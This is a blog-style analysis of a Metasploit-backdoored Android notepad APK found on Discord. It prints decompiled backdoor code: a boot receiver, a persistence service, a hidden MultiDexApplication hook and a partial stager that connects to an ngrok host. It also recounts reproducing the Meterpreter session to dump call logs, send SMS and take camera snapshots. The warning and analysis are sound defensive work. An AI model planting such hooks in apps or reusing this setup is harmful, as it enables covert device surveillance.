Tom.K



Suspicious Metasploit APK from Discord server

Few weeks or months ago, some guy asked for help on Discord server of r/androiddev subreddit. He kept asking everyone to checkout his app without explaining the actual problem. He did not provide any explanation about the problem, nor he provided any source code.


Initial

While on Discord server of /r/androiddev subreddit, he kept asking everyone to check out his app without explaining the actual problem. He did not provide any explanation about the problem, nor he provided any source code. Usually, developers can only help others if they can see the actual code, but doing this blindly is out of question most of the time. Due to such odd behavior, I've decided to download and decompile it with jadx.

The first thing I've noticed were the permissions for managing SMS, camera, call logs and other stuff, you have to wonder is it really legitimate. Though, after digging a while, I've managed to find the package called "frzwk" in the package of this app. Whole package was obfuscated and it wasn't easy to understand what the hell it does. However, due to person's deceptive behavior, it's supposed to be malicious for sure.

After noticing this, someone already submitted a copy to VirusTotal with at least 18 positive results reporting as trojan downloader from Metasploit framework. After warning others about it, he decided to ragequit.

Note

This article might not be fully accurate or complete. It's mostly improvised to explain whatever I've managed to catch up as I'm not a security expert. Also, take note that some parts may contain rant as I can't stand sometimes what actions are being taken. Obfuscated names were kept the way they were provided from decompiler.

Along with that, during the initial writing of this article, the subreddit had hostile moderators, this might have changed in the future. Alternatively, going to /r/android_devs is a secondary option for subreddit about Android development.

Source

The original is actually a legitimate notepad application. It's available on Play Store. However, if you check the features (at the time of this writing):

Notepad itself shouldn't have such features. Even though it's not a malicious copy, you should stay away from such apps that provide something you actually don't need in such application.

Backdoor

The Metasploit framework is a legitimate penetration testing framework, used for testing and improving security awareness in general. If I'm not wrong, the framework has an option inject backdoor to APK file. In this case, it seems that Meterpreter attack was injected in APK. Though, the payload server was inactive during this time. Instead, this will be improvised with local variant of payload server as an example.

This should grant the attacker to gain access to devices where the malicious app has been installed.

Permissions

These are the permissions in a malicious copy of application:

<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />

The remaining permissions exist in original app:

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission-sdk-23 android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
<uses-permission-sdk-23 android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission-sdk-23 android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.BATTERY_STATS" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

Recording audio could be used for audio notes.

There is also a so-called Caller ID feature, that doesn't match the actual purpose of this app.

Therefore, there is no reason to have so many of these permissions for a notepad.

Take note that this APK will not ask you for permissions on runtime for the following reason:

<uses-sdk android:minSdkVersion="15" android:targetSdkVersion="22" />

This application targets API 22, which is Android Lollipop 5.1. To support runtime permissions, application requires targeting at least API 23, which is Android Marshmallow 6.0. Newer versions of Android system will use compatibility mode and grant all permissions to app when it's installed. Package manager and Google Play Store will warn you about permissions before installation, though.

Some permissions are required by libraries. In this case, this application did contain the following libraries, or at least those that I have noticed:

Considering that a notepad should be used for reading and writing small text or notes, this is just low effort for profiting.

Even if you don't have the actual backdoor, for fuck sakes do you really want thousands of this shit running for whole time while using every single app that contains these libraries? No wonder that things are running slow when you bundle a bunch of bullshit.

Components

The backdoor contains at least 2 components:

<receiver android:label="Dtjya" android:name="com.ztnstudio.notepad.frzwk.Dtjya">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>
<service android:name="com.ztnstudio.notepad.frzwk.Gudrl" android:exported="true" />

The first component is a broadcast receiver that will receive a broadcast when Android system starts up and start the second component.

public class Dtjya extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {
            Gudrl.startService(context);
        }
    }
}

The second component is a service that is used to initialize actual backdoor. It should launch through broadcast receiver or initial app launch.

public class Gudrl extends Service {
    public static void start() {
        try {
            try {
                Method method = Class.forName("android.app.ActivityThread").getMethod("currentApplication", new Class[0]);
                Context context = (Context) method.invoke(null, null);
                if (context == null) {
                    new Handler(Looper.getMainLooper()).post(new C1907b(method)); // Also performs startService(context);
                } else {
                    startService(context);
                }
            } catch (Exception e) {
            }
        } catch (ClassNotFoundException e2) {
        }
    }

    public static void startService(Context context) {
        context.startService(new Intent(context, Gudrl.class));
    }

    public IBinder onBind(Intent intent) {
        return null;
    }

    public int onStartCommand(Intent intent, int i, int i2) {
        Ghyqm.start(this);
        return 1;
    }
}

final class C1907b implements Runnable {
    private /* synthetic */ Method f8142a;

    C1907b(Method method) {
        this.f8142a = method;
    }

    public final void run() {
        try {
            Context context = (Context) this.f8142a.invoke(null, null);
            if (context != null) {
                Gudrl.startService(context);
            }
        } catch (Exception e) {
        }
    }
}

Comparison

After comparing these copies, in 'MultiDexApplication' class that belongs to MultiDex support library, in constructor method there is a call to start malicious service.

public class MultiDexApplication extends Application {    
    public MultiDexApplication() {
        Gudrl.start();
    }    
    // ...
}

Besides from the malicious package itself, there isn't any other kind of special difference between these copies, except for the malicious package being bundled.

Remaining differences are plain different positions of same code, not causing any effect in general.

APK textual comparison of clean and infected variant.

Even with difference between APKs on most of the libraries, this is most likely just decompiler providing different variable names. The main difference is the right-only side with additions.

Initialization

As shown above for Gudrl service, on start command, this service will initialize another class called Ghyqm, which is pretty much the main class of this backdoor.

public class Ghyqm {
    private static final byte[] f8135a = new byte[]{(byte) 0 /* ... */ }; // Large array, also containing address for connection
    // Various purpose variables
    private static long f8136b;
    private static long f8137c;
    private static long f8138d;
    private static byte[] f8139e;
    private static String f8140f;
    private static Object[] f8141g;

    private static void m7374a(DataInputStream dataInputStream, OutputStream outputStream, Object[] objArr) { /* ... */ } // Stores payload and initializes it
    private static byte[] m7375a(DataInputStream dataInputStream) { /* ... */ } // Gets payload store path
    public static void main(String[] strArr) { /* .. */ } // Connects to attacker's server
    
    public static void start(Context context) {
        startInPath(context.getFilesDir().toString());
    }

    public static void startInPath(String str) {
        f8141g = new Object[]{str, f8135a};
        new C1908c().start(); // Calls Ghyqm.main(null);
    }
}

final class C1908c extends Thread {
    C1908c() {
    }

    public final void run() {
        Ghyqm.main(null);
    }
}

I've snipped out most of the code in here since it's way too big to get complete overview.

Preview of main malicious class file

Main class file, with more simplified variable namings, same behavior. On the top you can see large byte array containing information needed to connect to attacker's server. Check the video at the end if you want to see the code.

First of all, it will try to get path of private app data folder where the payload JAR file will be stored.

After that, the address and port of the payload listener from a large array are parsed and used to connect to the server.

In this case, it will connect to one of ngrok.io instances. The ngrok.io service itself is a legitimate service that can be used to expose your local server to the Internet. Take note that exposing your local servers like that can be dangerous still.

Waiting for connection

Waiting to connect to server that doesn't seem to be active at this moment.

In case of a failure, it will retry in a few seconds. When the connection is established, it will download the payload JAR file and store it in private app data folder path as mentioned above.

Example

To show at least what this backdoor can do, I've set up a separate Hello World APK with copy-pasted logic of the backdoor from malicious APK and updated it to match my own ngrok.io instance. I've used Android Emulator to show the victim device and Kali Linux as the attacker in this case.

On VM, I've set up an active ngrok instance at port 1250 that is exposed on the Internet at tcp://0.tcp.ngrok.io:17355. I've also updated the variables in the code to match the address.

Connection established without payload

Application managed to connect to the server, but it's throwing an exception due to no payload on the server.

At this point, a connection has been established, but we're still missing a payload. We'll run Metasploit Framework console and prepare Meterpreter attack payload at local port 1250.

Connection established with payload

Application managed to connect to the server, and the payload is ready to use.

Since the session has been opened, we can take the control of the device based on the given permissions.

We can do few things:

Dump of call logs

Three call entries dumped from device.

There are also options to submit SQLite database queries, get geolocation from GPS or Wi-Fi, along with interval collection which should be just collecting nearby mobile and Wi-Fi networks, along with close GPS satellites. Though, I couldn't make them work in this case.

Sent SMS message example

The second message is the one that was sent now.

Along with those, we can also record audio and video or even stream it, along with taking a snapshot, starting a video chat and listing all cameras.

Though, in my case, only taking a photo worked well enough, others didn't work that well.

Snapshot of camera taken from emulator

Emulator camera snapshot gives a quite different output, but it should work on actual device, too.

At this point, the payload session has died, so that was the end of it.

Demo

I've provided the video where you can see actual APK in action here.